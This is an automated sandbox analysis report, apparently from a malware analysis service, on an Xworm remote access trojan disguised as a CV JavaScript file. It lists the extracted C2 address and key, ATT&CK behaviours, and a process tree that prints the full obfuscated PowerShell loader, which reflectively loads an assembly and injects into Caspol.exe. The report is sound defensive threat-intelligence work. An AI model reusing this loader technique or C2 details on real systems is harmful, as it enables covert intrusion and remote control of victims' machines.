Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/08/2026, 11:06
General
- Target Gemmae L. Caintic CV.js
- Size 37.5MB
- Sample260831-m7fjsazgrc
- SHA256 5ce9106daa1c115c2803c0d86b28fdf29e8d252d1a8451618a828d373b2bc21c
Malware Config
Extracted
-
xworm
-
5.0
-
103.83.87.158:4040
-
RnkBS8btgLSN4WS2
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Gemmae L. Caintic CV.js"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('IqrZ47X5/bAQV4aTCG0kUdVWI4YmnDAQXUEtLSQzVC/gdpuYu7oSR++IwrOaWETmAXwhsVKiwpJ6HiQZDnQLWQ==','','ypX1GGPy12DpxfAgj5zZZQmzq/3MFfYcV2Zh2+Sk4bG43brHl3WeOo3+xv9llYFw','0rTMy294b7HLNWH0GE3YO5pXJ69pnha22EA6OO4/v+Y=','r2+9GfDj9iRRhx60r4S95oVdKHNGehAcCINq8xswETw=','','2dxLnpKs4bekir+NfzX8Y0vdKL5sfdBm+eVS+MfPAhE=','','Xh+uI12a/lR1u7SmECOoqU9PFXcU0J6rKFhj0FyPZKE=','U47GlYmlS6/yeeqEtrw8Q2NFAC1yZzo62zQaLNHMEaIdDo4QZRUi5W57IuxZ1bd4','vCrF+94QEBlID/h4aun5I1GCSi0+uqAkjXJ8VwSFayc=','3tODxsSoFabg2pY/IqrYwmsGcZtVd3DJ8ykVAbUs0IQ=','siPWynhkiqYSFj2ZVHFgkh78k7UyHv590/TW3SAimZ8=','','DyXVkoX2ZSXv0UeiGul9151lWTCTmPZNmDPn529jy2A=','1EZMiUHEH83TgAi5rXtjbLKHWNvKIWiNb28nsGKjMdQ=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4520-12-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-13-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-4-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-5-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-6-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-7-0x000001AB395E0000-0x000001AB396AE000-memory.dmp
memory/4520-8-0x000001AB396B0000-0x000001AB396BA000-memory.dmp
memory/4520-9-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-10-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-14-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-3-0x000001AB3B6E0000-0x000001AB3B702000-memory.dmp
memory/4520-0-0x00007FFCC4CDF000-0x00007FFCC4CE0000-memory.dmp
memory/4520-11-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-15-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/4520-19-0x00007FFCC4B50000-0x00007FFCC54F4000-memory.dmp
memory/5744-18-0x00000000750D2000-0x00000000750D3000-memory.dmp
memory/5744-16-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5744-20-0x0000000005CE0000-0x0000000005D7C000-memory.dmp
memory/5744-21-0x0000000006440000-0x00000000069FA000-memory.dmp
memory/5744-22-0x0000000006BA0000-0x0000000006C32000-memory.dmp
memory/5744-23-0x0000000005CC0000-0x0000000005CCA000-memory.dmp
memory/5744-24-0x00000000077D0000-0x0000000007836000-memory.dmp